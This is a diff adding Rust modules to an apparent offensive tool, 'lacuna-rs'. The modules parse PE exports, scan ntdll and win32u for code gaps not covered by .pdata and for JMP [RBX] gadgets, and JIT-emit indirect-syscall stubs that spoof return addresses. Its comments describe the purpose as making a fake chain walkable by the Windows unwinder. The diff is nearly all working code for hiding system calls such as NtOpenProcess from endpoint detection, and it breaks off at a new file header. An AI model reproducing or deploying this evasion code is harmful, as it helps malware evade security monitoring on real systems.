// Ported from lacuna_chain.c: pe_section(), pe_export().
|
||||
//
|
||||
// These operate on a loaded module base (HMODULE) and read the in-memory PE
|
||||
// structures directly. No file I/O, no allocations.
|
||||
//
|
||||
|
||||
#![allow(dead_code)]
|
||||
|
||||
use crate::win::{HMODULE, ULONG, ULONG64, WORD, DWORD};
|
||||
|
||||
|
||||
// ── PE structures (minimal subset) ───────────────────────────────────────────
|
||||
|
||||
#[repr(C)]
|
||||
pub struct IMAGE_DOS_HEADER {
|
||||
pub e_magic: u16,
|
||||
pub e_cblp: u16,
|
||||
pub e_cp: u16,
|
||||
pub e_crlc: u16,
|
||||
pub e_cparhdr: u16,
|
||||
pub e_minalloc: u16,
|
||||
pub e_maxalloc: u16,
|
||||
pub e_ss: u16,
|
||||
pub e_sp: u16,
|
||||
pub e_csum: u16,
|
||||
pub e_ip: u16,
|
||||
pub e_cs: u16,
|
||||
pub e_lfarlc: u16,
|
||||
pub e_ovno: u16,
|
||||
pub e_res: [u16; 4],
|
||||
pub e_oemid: u16,
|
||||
pub e_oeminfo: u16,
|
||||
pub e_res2: [u16; 10],
|
||||
pub e_lfanew: i32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct IMAGE_FILE_HEADER {
|
||||
pub Machine: WORD,
|
||||
pub NumberOfSections: WORD,
|
||||
pub TimeDateStamp: DWORD,
|
||||
pub PointerToSymbolTable: DWORD,
|
||||
pub NumberOfSymbols: DWORD,
|
||||
pub SizeOfOptionalHeader: WORD,
|
||||
pub Characteristics: WORD,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct IMAGE_DATA_DIRECTORY {
|
||||
pub VirtualAddress: DWORD,
|
||||
pub Size: DWORD,
|
||||
}
|
||||
|
||||
pub const IMAGE_DIRECTORY_ENTRY_EXPORT: usize = 0;
|
||||
pub const IMAGE_DIRECTORY_ENTRY_EXCEPTION: usize = 3;
|
||||
|
||||
#[repr(C)]
|
||||
pub struct IMAGE_OPTIONAL_HEADER64 {
|
||||
pub Magic: WORD,
|
||||
pub MajorLinkerVersion: u8,
|
||||
pub MinorLinkerVersion: u8,
|
||||
pub SizeOfCode: DWORD,
|
||||
pub SizeOfInitializedData: DWORD,
|
||||
pub SizeOfUninitializedData: DWORD,
|
||||
pub AddressOfEntryPoint: DWORD,
|
||||
pub BaseOfCode: DWORD,
|
||||
pub ImageBase: u64,
|
||||
pub SectionAlignment: DWORD,
|
||||
pub FileAlignment: DWORD,
|
||||
pub MajorOperatingSystemVersion: WORD,
|
||||
pub MinorOperatingSystemVersion: WORD,
|
||||
pub MajorImageVersion: WORD,
|
||||
pub MinorImageVersion: WORD,
|
||||
pub MajorSubsystemVersion: WORD,
|
||||
pub MinorSubsystemVersion: WORD,
|
||||
pub Win32VersionValue: DWORD,
|
||||
pub SizeOfImage: DWORD,
|
||||
pub SizeOfHeaders: DWORD,
|
||||
pub CheckSum: DWORD,
|
||||
pub Subsystem: WORD,
|
||||
pub DllCharacteristics: WORD,
|
||||
pub SizeOfStackReserve: u64,
|
||||
pub SizeOfStackCommit: u64,
|
||||
pub SizeOfHeapReserve: u64,
|
||||
pub SizeOfHeapCommit: u64,
|
||||
pub LoaderFlags: DWORD,
|
||||
pub NumberOfRvaAndSizes: DWORD,
|
||||
pub DataDirectory: [IMAGE_DATA_DIRECTORY; 16],
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct IMAGE_NT_HEADERS64 {
|
||||
pub Signature: DWORD,
|
||||
pub FileHeader: IMAGE_FILE_HEADER,
|
||||
pub OptionalHeader: IMAGE_OPTIONAL_HEADER64,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct IMAGE_SECTION_HEADER {
|
||||
pub Name: [u8; 8],
|
||||
pub Misc: IMAGE_SECTION_MISC,
|
||||
pub VirtualAddress: DWORD,
|
||||
pub SizeOfRawData: DWORD,
|
||||
pub PointerToRawData: DWORD,
|
||||
pub PointerToRelocations: DWORD,
|
||||
pub PointerToLinenumbers: DWORD,
|
||||
pub NumberOfRelocations: WORD,
|
||||
pub NumberOfLinenumbers: WORD,
|
||||
pub Characteristics: DWORD,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub union IMAGE_SECTION_MISC {
|
||||
pub PhysicalAddress: DWORD,
|
||||
pub VirtualSize: DWORD,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct IMAGE_EXPORT_DIRECTORY {
|
||||
pub Characteristics: DWORD,
|
||||
pub TimeDateStamp: DWORD,
|
||||
pub MajorVersion: WORD,
|
||||
pub MinorVersion: WORD,
|
||||
pub Name: DWORD,
|
||||
pub Base: DWORD,
|
||||
pub NumberOfFunctions: DWORD,
|
||||
pub NumberOfNames: DWORD,
|
||||
pub AddressOfFunctions: DWORD,
|
||||
pub AddressOfNames: DWORD,
|
||||
pub AddressOfNameOrdinals: DWORD,
|
||||
}
|
||||
|
||||
pub const IMAGE_SCN_MEM_EXECUTE: DWORD = 0x2000_0000;
|
||||
|
||||
// ── Helpers ──────────────────────────────────────────────────────────────────
|
||||
|
||||
/// Cast a module base to a byte pointer.
|
||||
#[inline]
|
||||
fn base_bytes(mod_base: HMODULE) -> *const u8 {
|
||||
mod_base as *const u8
|
||||
}
|
||||
|
||||
/// Read the DOS header from a module base.
|
||||
#[inline]
|
||||
pub unsafe fn dos_header(base: HMODULE) -> *const IMAGE_DOS_HEADER {
|
||||
base as *const IMAGE_DOS_HEADER
|
||||
}
|
||||
|
||||
/// Read the NT headers from a module base.
|
||||
#[inline]
|
||||
pub unsafe fn nt_headers(base: HMODULE) -> *const IMAGE_NT_HEADERS64 {
|
||||
let b = base_bytes(base);
|
||||
let dos = dos_header(base);
|
||||
b.offset((*dos).e_lfanew as isize) as *const IMAGE_NT_HEADERS64
|
||||
}
|
||||
|
||||
/// Pointer to the first section header.
|
||||
#[inline]
|
||||
pub unsafe fn first_section(nt: *const IMAGE_NT_HEADERS64) -> *const IMAGE_SECTION_HEADER {
|
||||
let optional_end = (&(*nt).OptionalHeader) as *const _ as *const u8;
|
||||
let opt_size = core::mem::size_of::<IMAGE_OPTIONAL_HEADER64>();
|
||||
optional_end.add(opt_size) as *const IMAGE_SECTION_HEADER
|
||||
// NOTE: this is equivalent to IMAGE_FIRST_SECTION(nt) — the section table
|
||||
// immediately follows the optional header.
|
||||
}
|
||||
|
||||
// ── Public API (ported from C) ───────────────────────────────────────────────
|
||||
|
||||
/// Find a section by 8-byte name. Returns (virtual_address, virtual_size)
|
||||
/// relative to the module base, or None.
|
||||
///
|
||||
/// Ported from pe_section().
|
||||
pub fn section(mod_base: HMODULE, name: &[u8]) -> Option<(ULONG64, ULONG)> {
|
||||
unsafe {
|
||||
let b = base_bytes(mod_base);
|
||||
let nt = nt_headers(mod_base);
|
||||
let mut s = first_section(nt);
|
||||
for _ in 0..(*nt).FileHeader.NumberOfSections {
|
||||
let sec_name = &(*s).Name;
|
||||
// Compare up to 8 bytes; name may or may not be NUL-terminated.
|
||||
let n = name.len().min(8);
|
||||
if sec_name[..n] == name[..n] {
|
||||
let va = b.add((*s).VirtualAddress as usize) as ULONG64;
|
||||
let sz = (*s).Misc.VirtualSize;
|
||||
return Some((va, sz));
|
||||
}
|
||||
s = s.add(1);
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Resolve an export by name. Returns the absolute VA, or 0 if not found.
|
||||
///
|
||||
/// Ported from pe_export().
|
||||
pub fn export_va(mod_base: HMODULE, fname: &[u8]) -> ULONG64 {
|
||||
unsafe {
|
||||
let b = base_bytes(mod_base);
|
||||
let nt = nt_headers(mod_base);
|
||||
let erva = (*nt).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
if erva == 0 {
|
||||
return 0;
|
||||
}
|
||||
let ed = b.add(erva as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
||||
let names = b.add((*ed).AddressOfNames as usize) as *const DWORD;
|
||||
let ords = b.add((*ed).AddressOfNameOrdinals as usize) as *const WORD;
|
||||
let funcs = b.add((*ed).AddressOfFunctions as usize) as *const DWORD;
|
||||
|
||||
for i in 0..(*ed).NumberOfNames {
|
||||
let name_rva = *names.add(i as usize);
|
||||
let name_ptr = b.add(name_rva as usize);
|
||||
// strcmp equivalent: compare NUL-terminated C string
|
||||
if cstr_eq(name_ptr, fname) {
|
||||
let ord = *ords.add(i as usize) as usize;
|
||||
let func_rva = *funcs.add(ord);
|
||||
return b.add(func_rva as usize) as ULONG64;
|
||||
}
|
||||
}
|
||||
}
|
||||
0
|
||||
}
|
||||
|
||||
/// Compare a NUL-terminated C string pointer against a Rust byte slice.
|
||||
///
|
||||
/// Equivalent to `strcmp((char*)p, fname) == 0` in the C original.
|
||||
/// Callers pass slices like `b"NtOpenProcess\0"` — the trailing NUL is
|
||||
/// expected and handled correctly.
|
||||
unsafe fn cstr_eq(p: *const u8, s: &[u8]) -> bool {
|
||||
let mut i = 0;
|
||||
loop {
|
||||
let c = *p.add(i);
|
||||
if c == 0 {
|
||||
// C string ended — match if we are at/past end of s,
|
||||
// or s[i] is also NUL (callers pass b"NtOpenProcess\0").
|
||||
return i >= s.len() || s[i] == 0;
|
||||
}
|
||||
if i >= s.len() {
|
||||
return false;
|
||||
}
|
||||
if c != s[i] {
|
||||
return false;
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
}
|
||||
|
||||
/// Return the image's executable section range (first section with
|
||||
/// IMAGE_SCN_MEM_EXECUTE), as (start_va, end_va) absolute.
|
||||
///
|
||||
/// Used by the ghost scanner to bound gap searches to .text.
|
||||
pub fn exec_range(mod_base: HMODULE) -> Option<(ULONG64, ULONG64)> {
|
||||
unsafe {
|
||||
let b = base_bytes(mod_base);
|
||||
let nt = nt_headers(mod_base);
|
||||
let mut s = first_section(nt);
|
||||
for _ in 0..(*nt).FileHeader.NumberOfSections {
|
||||
if (*s).Characteristics & IMAGE_SCN_MEM_EXECUTE != 0 {
|
||||
let start = b.add((*s).VirtualAddress as usize) as ULONG64;
|
||||
let end = start + (*s).Misc.VirtualSize as ULONG64;
|
||||
return Some((start, end));
|
||||
}
|
||||
s = s.add(1);
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// SizeOfImage from the optional header — used to bound the "exe range"
|
||||
/// scan in the parameter-encryption VEH.
|
||||
pub fn size_of_image(mod_base: HMODULE) -> ULONG64 {
|
||||
unsafe { (*nt_headers(mod_base)).OptionalHeader.SizeOfImage as ULONG64 }
|
||||
}
|
||||
+358
@@ -0,0 +1,358 @@
|
||||
//
|
||||
// scan.rs — .pdata ghost-region and gadget scanning for lacuna-rs
|
||||
//
|
||||
// Ported from lacuna_chain.c:
|
||||
// scan_ghosts(), best_ghost(), win32u_nop_gap(), find_mf_target(),
|
||||
// scan_ghost_gadgets().
|
||||
//
|
||||
// A "ghost" is an executable code region with no .pdata RUNTIME_FUNCTION
|
||||
// coverage. RtlVirtualUnwind treats such addresses as leaf frames and
|
||||
// simply does RSP += 8 to find the next return address — this is the
|
||||
// primitive that makes the LACUNA chain walkable.
|
||||
//
|
||||
|
||||
#![allow(dead_code)]
|
||||
|
||||
use crate::pe;
|
||||
use crate::win::{HMODULE, ULONG64, UINT};
|
||||
use crate::win::{DWORD, BYTE};
|
||||
|
||||
// ── Public data types ────────────────────────────────────────────────────────
|
||||
|
||||
/// A .pdata lacuna — executable code with no RUNTIME_FUNCTION coverage.
|
||||
///
|
||||
/// Ported from `Ghost` in lacuna_chain.c.
|
||||
#[derive(Clone, Copy)]
|
||||
pub struct Ghost {
|
||||
pub va_start: ULONG64,
|
||||
pub va_end: ULONG64,
|
||||
pub size: UINT,
|
||||
pub export_va: ULONG64,
|
||||
pub dist: UINT,
|
||||
pub name: [u8; 64],
|
||||
}
|
||||
|
||||
impl Ghost {
|
||||
pub fn name_str(&self) -> &[u8] {
|
||||
let n = self.name.iter().position(|&b| b == 0).unwrap_or(self.name.len());
|
||||
&self.name[..n]
|
||||
}
|
||||
}
|
||||
|
||||
/// A `JMP [RBX]` (`FF 23`) gadget found inside a ghost region.
|
||||
///
|
||||
/// Ported from `GhostGadget` in lacuna_chain.c.
|
||||
#[derive(Clone, Copy)]
|
||||
pub struct GhostGadget {
|
||||
pub va: ULONG64,
|
||||
pub parent: [u8; 64],
|
||||
}
|
||||
|
||||
// ── RUNTIME_FUNCTION (alias of win::RUNTIME_FUNCTION) ────────────────────────
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy)]
|
||||
pub struct Rf {
|
||||
pub Begin: DWORD,
|
||||
pub End: DWORD,
|
||||
pub Unwind: DWORD,
|
||||
}
|
||||
|
||||
// ── Unwind info header + codes (for find_mf_target) ──────────────────────────
|
||||
|
||||
#[repr(C, packed)]
|
||||
#[derive(Clone, Copy)]
|
||||
pub struct UH {
|
||||
pub VF: BYTE,
|
||||
pub Prolog: BYTE,
|
||||
pub Count: BYTE,
|
||||
pub Frame: BYTE,
|
||||
}
|
||||
|
||||
#[repr(C, packed)]
|
||||
#[derive(Clone, Copy)]
|
||||
pub struct UC {
|
||||
pub Off: BYTE,
|
||||
pub Op: BYTE,
|
||||
}
|
||||
|
||||
pub const UWOP_PUSH_MACHFRAME: u8 = 10;
|
||||
|
||||
// ── win32u 8-byte NOP signature ──────────────────────────────────────────────
|
||||
|
||||
pub const WIN32U_NOP8: [u8; 8] = [0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00];
|
||||
|
||||
// ── scan_ghosts ──────────────────────────────────────────────────────────────
|
||||
|
||||
/// Scan a module's .pdata for gaps between RUNTIME_FUNCTION entries that
|
||||
/// contain real (non-padding) code.
|
||||
///
|
||||
/// For each gap, find the nearest target export and record the distance.
|
||||
///
|
||||
/// Ported from scan_ghosts().
|
||||
pub fn scan_ghosts(
|
||||
mod_base: HMODULE,
|
||||
targets: &[&[u8]],
|
||||
out: &mut [Ghost],
|
||||
) -> usize {
|
||||
// Locate .pdata.
|
||||
let (pdata_va, pdata_sz) = match pe::section(mod_base, b".pdata") {
|
||||
Some(x) => x,
|
||||
None => return 0,
|
||||
};
|
||||
|
||||
// Resolve target export VAs.
|
||||
let mut tva: [ULONG64; 32] = [0; 32];
|
||||
let mut tname: [[u8; 64]; 32] = [[0; 64]; 32];
|
||||
let mut n_t = 0usize;
|
||||
for &t in targets {
|
||||
if n_t >= 32 {
|
||||
break;
|
||||
}
|
||||
let v = pe::export_va(mod_base, t);
|
||||
if v != 0 {
|
||||
tva[n_t] = v;
|
||||
let n = t.len().min(63);
|
||||
tname[n_t][..n].copy_from_slice(&t[..n]);
|
||||
n_t += 1;
|
||||
}
|
||||
}
|
||||
|
||||
let rf = pdata_va as *const Rf;
|
||||
let count = pdata_sz as usize / core::mem::size_of::<Rf>();
|
||||
let img = mod_base as ULONG64;
|
||||
let mut prev: ULONG64 = 0;
|
||||
let mut found = 0usize;
|
||||
|
||||
for i in 0..count {
|
||||
if found >= out.len() {
|
||||
break;
|
||||
}
|
||||
let cur = unsafe { &*rf.add(i) };
|
||||
if cur.Unwind == 0 {
|
||||
continue;
|
||||
}
|
||||
let begin = img + cur.Begin as ULONG64;
|
||||
let end = img + cur.End as ULONG64;
|
||||
if prev != 0 && begin > prev {
|
||||
let sz = (begin - prev) as UINT;
|
||||
let gp = prev as *const u8;
|
||||
let mut nonpad = 0u32;
|
||||
let lim = (sz as usize).min(512);
|
||||
for k in 0..lim {
|
||||
let b = unsafe { *gp.add(k) };
|
||||
if b != 0xCC && b != 0x00 && b != 0x90 {
|
||||
nonpad += 1;
|
||||
}
|
||||
}
|
||||
if nonpad > 4 && sz >= 8 {
|
||||
// nearest target export
|
||||
let mut best = 0xFFFF_FFFFu32;
|
||||
let mut bi = -1i32;
|
||||
for j in 0..n_t {
|
||||
let d = if tva[j] >= prev && tva[j] <= prev + sz as ULONG64 {
|
||||
0
|
||||
} else if tva[j] > prev + sz as ULONG64 {
|
||||
(tva[j] - (prev + sz as ULONG64)) as u32
|
||||
} else {
|
||||
(prev - tva[j]) as u32
|
||||
};
|
||||
if d < best {
|
||||
best = d;
|
||||
bi = j as i32;
|
||||
}
|
||||
}
|
||||
let g = &mut out[found];
|
||||
g.va_start = prev;
|
||||
g.va_end = prev + sz as ULONG64;
|
||||
g.size = sz;
|
||||
g.export_va = if bi >= 0 { tva[bi as usize] } else { 0 };
|
||||
g.dist = best;
|
||||
g.name = [0; 64];
|
||||
if bi >= 0 {
|
||||
let n = tname[bi as usize].iter().position(|&b| b == 0).unwrap_or(63);
|
||||
g.name[..n].copy_from_slice(&tname[bi as usize][..n]);
|
||||
}
|
||||
found += 1;
|
||||
}
|
||||
}
|
||||
prev = end;
|
||||
}
|
||||
found
|
||||
}
|
||||
|
||||
// ── best_ghost ───────────────────────────────────────────────────────────────
|
||||
|
||||
/// Find the ghost with the smallest distance whose name matches `target`.
|
||||
///
|
||||
/// Ported from best_ghost().
|
||||
pub fn best_ghost<'a>(ghosts: &'a [Ghost], target: &[u8]) -> Option<&'a Ghost> {
|
||||
let mut best: Option<&Ghost> = None;
|
||||
let mut bd = 0xFFFF_FFFFu32;
|
||||
for g in ghosts {
|
||||
if g.name_str() == target && g.dist < bd {
|
||||
bd = g.dist;
|
||||
best = Some(g);
|
||||
}
|
||||
}
|
||||
best
|
||||
}
|
||||
|
||||
// ── win32u_nop_gap ───────────────────────────────────────────────────────────
|
||||
|
||||
/// Find the first 4–16 byte NOP/padding gap between .pdata entries in win32u.
|
||||
///
|
||||
/// Ported from win32u_nop_gap().
|
||||
pub fn win32u_nop_gap(mod_base: HMODULE) -> ULONG64 {
|
||||
let (pdata_va, pdata_sz) = match pe::section(mod_base, b".pdata") {
|
||||
Some(x) => x,
|
||||
None => return 0,
|
||||
};
|
||||
let rf = pdata_va as *const Rf;
|
||||
let count = pdata_sz as usize / core::mem::size_of::<Rf>();
|
||||
let img = mod_base as ULONG64;
|
||||
let mut prev: ULONG64 = 0;
|
||||
for i in 0..count {
|
||||
let cur = unsafe { &*rf.add(i) };
|
||||
if cur.Unwind == 0 {
|
||||
continue;
|
||||
}
|
||||
let begin = img + cur.Begin as ULONG64;
|
||||
if prev != 0 && begin > prev {
|
||||
let gap = (begin - prev) as u32;
|
||||
if (4..=16).contains(&gap) {
|
||||
let gp = prev as *const u8;
|
||||
let ok = if gap == 8 {
|
||||
let s = unsafe { core::slice::from_raw_parts(gp, 8) };
|
||||
s == WIN32U_NOP8
|
||||
} else {
|
||||
let mut all_pad = true;
|
||||
for k in 0..gap {
|
||||
let b = unsafe { *gp.add(k as usize) };
|
||||
if b != 0x00 && b != 0xCC && b != 0x90 {
|
||||
all_pad = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
all_pad
|
||||
};
|
||||
if ok {
|
||||
return prev;
|
||||
}
|
||||
}
|
||||
}
|
||||
prev = img + cur.End as ULONG64;
|
||||
}
|
||||
0
|
||||
}
|
||||
|
||||
// ── find_mf_target ───────────────────────────────────────────────────────────
|
||||
|
||||
/// Find a RUNTIME_FUNCTION whose unwind info contains UWOP_PUSH_MACHFRAME
|
||||
/// at offset 0 — the BYOUD-MF anchor. Falls back to
|
||||
/// KiUserExceptionDispatcher+4.
|
||||
///
|
||||
/// Ported from find_mf_target().
|
||||
pub fn find_mf_target(ntdll: HMODULE) -> ULONG64 {
|
||||
if let Some((pdata_va, pdata_sz)) = pe::section(ntdll, b".pdata") {
|
||||
let rf = pdata_va as *const Rf;
|
||||
let count = pdata_sz as usize / core::mem::size_of::<Rf>();
|
||||
let img = ntdll as ULONG64;
|
||||
for i in 0..count {
|
||||
let cur = unsafe { &*rf.add(i) };
|
||||
if cur.Unwind == 0 {
|
||||
continue;
|
||||
}
|
||||
let uh = (img + cur.Unwind as ULONG64) as *const UH;
|
||||
let codes = (uh as *const u8).wrapping_add(4) as *const UC;
|
||||
let cnt = unsafe { (*uh).Count };
|
||||
for j in 0..cnt as usize {
|
||||
let c = unsafe { &*codes.add(j) };
|
||||
if (c.Op & 0xF) == UWOP_PUSH_MACHFRAME && c.Off == 0 {
|
||||
return img + cur.Begin as ULONG64 + 4;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pe::export_va(ntdll, b"KiUserExceptionDispatcher\0") + 4
|
||||
}
|
||||
|
||||
// ── scan_ghost_gadgets ───────────────────────────────────────────────────────
|
||||
|
||||
/// Scan ghost regions for `JMP [RBX]` (`FF 23`) instructions.
|
||||
///
|
||||
/// Ported from scan_ghost_gadgets().
|
||||
pub fn scan_ghost_gadgets(
|
||||
ghosts: &[Ghost],
|
||||
mod_name: &[u8],
|
||||
out: &mut [GhostGadget],
|
||||
) -> usize {
|
||||
let mut found = 0usize;
|
||||
'outer: for g in ghosts {
|
||||
let p = g.va_start as *const u8;
|
||||
let sz = g.size as usize;
|
||||
for k in 0..sz.saturating_sub(1) {
|
||||
let b0 = unsafe { *p.add(k) };
|
||||
let b1 = unsafe { *p.add(k + 1) };
|
||||
if b0 == 0xFF && b1 == 0x23 {
|
||||
let gg = &mut out[found];
|
||||
gg.va = g.va_start + k as ULONG64;
|
||||
gg.parent = [0; 64];
|
||||
let mn = mod_name.iter().position(|&b| b == 0).unwrap_or(mod_name.len());
|
||||
let _ = format_ghost_parent(&mut gg.parent, mod_name, mn, g.va_start);
|
||||
found += 1;
|
||||
if found >= out.len() {
|
||||
break 'outer;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
found
|
||||
}
|
||||
|
||||
/// Write `"{mod_name} ghost @{va:x}"` into a 64-byte buffer.
|
||||
/// Returns the number of bytes written.
|
||||
fn format_ghost_parent(buf: &mut [u8; 64], mod_name: &[u8], mn: usize, va: ULONG64) -> usize {
|
||||
let mut w = 0usize;
|
||||
// mod_name
|
||||
if w + mn < 64 {
|
||||
buf[w..w + mn].copy_from_slice(&mod_name[..mn]);
|
||||
w += mn;
|
||||
}
|
||||
// " ghost @"
|
||||
let suffix = b" ghost @";
|
||||
if w + suffix.len() < 64 {
|
||||
buf[w..w + suffix.len()].copy_from_slice(suffix);
|
||||
w += suffix.len();
|
||||
}
|
||||
// hex va
|
||||
let mut tmp = [0u8; 16];
|
||||
let hex_len = u64_to_hex(va, &mut tmp);
|
||||
if w + hex_len < 64 {
|
||||
buf[w..w + hex_len].copy_from_slice(&tmp[..hex_len]);
|
||||
w += hex_len;
|
||||
}
|
||||
w
|
||||
}
|
||||
|
||||
/// Format a u64 as lowercase hex into `out`, returning the number of digits.
|
||||
fn u64_to_hex(v: u64, out: &mut [u8; 16]) -> usize {
|
||||
const HEX: &[u8; 16] = b"0123456789abcdef";
|
||||
if v == 0 {
|
||||
out[0] = b'0';
|
||||
return 1;
|
||||
}
|
||||
let mut tmp = [0u8; 16];
|
||||
let mut n = 0usize;
|
||||
let mut x = v;
|
||||
while x != 0 {
|
||||
tmp[n] = HEX[(x & 0xF) as usize];
|
||||
x >>= 4;
|
||||
n += 1;
|
||||
}
|
||||
// reverse into out
|
||||
for i in 0..n {
|
||||
out[i] = tmp[n - 1 - i];
|
||||
}
|
||||
n
|
||||
}
|
||||
+146
@@ -0,0 +1,146 @@
|
||||
//
|
||||
// stub.rs — JIT indirect-syscall stub emission for lacuna-rs
|
||||
//
|
||||
// Ported from lacuna_chain.c: alloc_stub().
|
||||
//
|
||||
// Two stub variants are emitted:
|
||||
//
|
||||
// 1. Ghost-gadget path (when g_ghost_gadget && func_sr):
|
||||
// mov [rsp+8], rbx ; save callee-saved RBX
|
||||
// mov r10, rcx ; Win64 syscall ABI
|
||||
// mov eax, <SSN>
|
||||
// lea rbx, [rip+Y] ; &func_sr
|
||||
// mov r11, [rsp] ; save real return addr
|
||||
// mov [rsp+16], r11 ; stash it
|
||||
// lea r11, [rip+W] ; &epilogue
|
||||
// mov [rsp], r11 ; swap return addr -> epilogue
|
||||
// jmp [rip+V] ; jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret
|
||||
// ; epilogue:
|
||||
// mov rbx, [rsp] ; restore RBX
|
||||
// jmp [rsp+8] ; jmp to original return
|
||||
// ; data:
|
||||
// dq ghost_gadget
|
||||
// dq func_sr
|
||||
//
|
||||
// 2. Direct path (no ghost gadget):
|
||||
// mov r10, rcx
|
||||
// mov eax, <SSN>
|
||||
// jmp [rip+0] ; jmp [func_sr] (if func_sr != 0)
|
||||
// dq func_sr
|
||||
// —or—
|
||||
// mov r10, rcx
|
||||
// mov eax, <SSN>
|
||||
// syscall ; (if func_sr == 0)
|
||||
// ret
|
||||
//
|
||||
|
||||
#![allow(dead_code)]
|
||||
|
||||
use crate::win::{
|
||||
self, DWORD, ULONG64, PVOID, DWORD as ULONG,
|
||||
PAGE_EXECUTE_READ, PAGE_READWRITE, MEM_COMMIT, MEM_RESERVE,
|
||||
};
|
||||
use core::ptr;
|
||||
|
||||
pub struct Stub {
|
||||
pub code: PVOID,
|
||||
}
|
||||
|
||||
impl Stub {
|
||||
pub fn as_fn(&self) -> PVOID {
|
||||
self.code
|
||||
}
|
||||
}
|
||||
|
||||
impl Drop for Stub {
|
||||
fn drop(&mut self) {
|
||||
if !self.code.is_null() {
|
||||
unsafe {
|
||||
win::VirtualFree(self.code, 0, win::MEM_RELEASE);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub static G_GHOST_GADGET: core::sync::atomic::AtomicU64 =
|
||||
core::sync::atomic::AtomicU64::new(0);
|
||||
pub static G_GHOST_MOD: core::sync::atomic::AtomicU8 =
|
||||
core::sync::atomic::AtomicU8::new(0);
|
||||
|
||||
pub fn make_stub(ssn: DWORD, func_sr: ULONG64) -> Option<Stub> {
|
||||
let mut code: [u8; 80] = [0; 80];
|
||||
let mut off = 0usize;
|
||||
|
||||
let ghost_gadget = G_GHOST_GADGET.load(core::sync::atomic::Ordering::Relaxed);
|
||||
|
||||
if ghost_gadget != 0 && func_sr != 0 {
|
||||
// ── Ghost-gadget path ───────────────────────────────────────────
|
||||
emit(&mut code, &mut off, &[0x48, 0x89, 0x5C, 0x24, 0x08]); // mov [rsp+8], rbx
|
||||
emit(&mut code, &mut off, &[0x4C, 0x8B, 0xD1]); // mov r10, rcx
|
||||
code[off] = 0xB8; off += 1; // mov eax, imm32
|
||||
code[off..off + 4].copy_from_slice(&ssn.to_ne_bytes()); off += 4;
|
||||
emit(&mut code, &mut off, &[0x48, 0x8D, 0x1D]); // lea rbx, [rip+disp32]
|
||||
let lea_rbx = off; off += 4;
|
||||
emit(&mut code, &mut off, &[0x4C, 0x8B, 0x1C, 0x24]); // mov r11, [rsp]
|
||||
emit(&mut code, &mut off, &[0x4C, 0x89, 0x5C, 0x24, 0x10]); // mov [rsp+16], r11
|
||||
emit(&mut code, &mut off, &[0x4C, 0x8D, 0x1D]); // lea r11, [rip+disp32]
|
||||
let lea_r11 = off; off += 4;
|
||||
emit(&mut code, &mut off, &[0x4C, 0x89, 0x1C, 0x24]); // mov [rsp], r11
|
||||
emit(&mut code, &mut off, &[0xFF, 0x25]); // jmp [rip+disp32]
|
||||
let jmp_disp = off; off += 4;
|
||||
let epilogue = off;
|
||||
emit(&mut code, &mut off, &[0x48, 0x8B, 0x1C, 0x24]); // mov rbx, [rsp]
|
||||
emit(&mut code, &mut off, &[0xFF, 0x64, 0x24, 0x08]); // jmp [rsp+8]
|
||||
let ghost_data = off;
|
||||
code[off..off + 8].copy_from_slice(&ghost_gadget.to_ne_bytes()); off += 8;
|
||||
let sr_data = off;
|
||||
code[off..off + 8].copy_from_slice(&func_sr.to_ne_bytes()); off += 8;
|
||||
patch_disp(&mut code, lea_rbx, sr_data);
|
||||
patch_disp(&mut code, lea_r11, epilogue);
|
||||
patch_disp(&mut code, jmp_disp, ghost_data);
|
||||
} else {
|
||||
// ── Direct path (simple jmp [func_sr]) ─────────────────────────
|
||||
emit(&mut code, &mut off, &[0x4C, 0x8B, 0xD1]); // mov r10, rcx
|
||||
code[off] = 0xB8; off += 1; // mov eax, imm32
|
||||
code[off..off + 4].copy_from_slice(&ssn.to_ne_bytes()); off += 4;
|
||||
|
||||
if func_sr != 0 {
|
||||
emit(&mut code, &mut off, &[0xFF, 0x25]); // jmp [rip+0]
|
||||
code[off..off + 4].copy_from_slice(&0i32.to_ne_bytes()); off += 4;
|
||||
code[off..off + 8].copy_from_slice(&func_sr.to_ne_bytes()); off += 8;
|
||||
} else {
|
||||
emit(&mut code, &mut off, &[0x0F, 0x05, 0xC3]); // syscall; ret
|
||||
}
|
||||
}
|
||||
|
||||
let m = unsafe {
|
||||
win::VirtualAlloc(
|
||||
ptr::null_mut(),
|
||||
0x1000,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE,
|
||||
)
|
||||
};
|
||||
if m.is_null() {
|
||||
return None;
|
||||
}
|
||||
unsafe {
|
||||
ptr::copy_nonoverlapping(code.as_ptr(), m as *mut u8, off);
|
||||
let mut old: ULONG = 0;
|
||||
win::VirtualProtect(m, 0x1000, PAGE_EXECUTE_READ, &mut old);
|
||||
}
|
||||
Some(Stub { code: m })
|
||||
}
|
||||
|
||||
#[inline]
|
||||
fn emit(code: &mut [u8; 80], off: &mut usize, bytes: &[u8]) {
|
||||
let n = bytes.len();
|
||||
code[*off..*off + n].copy_from_slice(bytes);
|
||||
*off += n;
|
||||
}
|
||||
|
||||
#[inline]
|
||||
fn patch_disp(code: &mut [u8; 80], disp_off: usize, target: usize) {
|
||||
let disp = (target as i64 - (disp_off as i64 + 4)) as i32;
|
||||
code[disp_off..disp_off + 4].copy_from_slice(&disp.to_ne_bytes());
|
||||
}
|
||||
+250
@@ -0,0 +1,250 @@
|
||||
//
|
||||
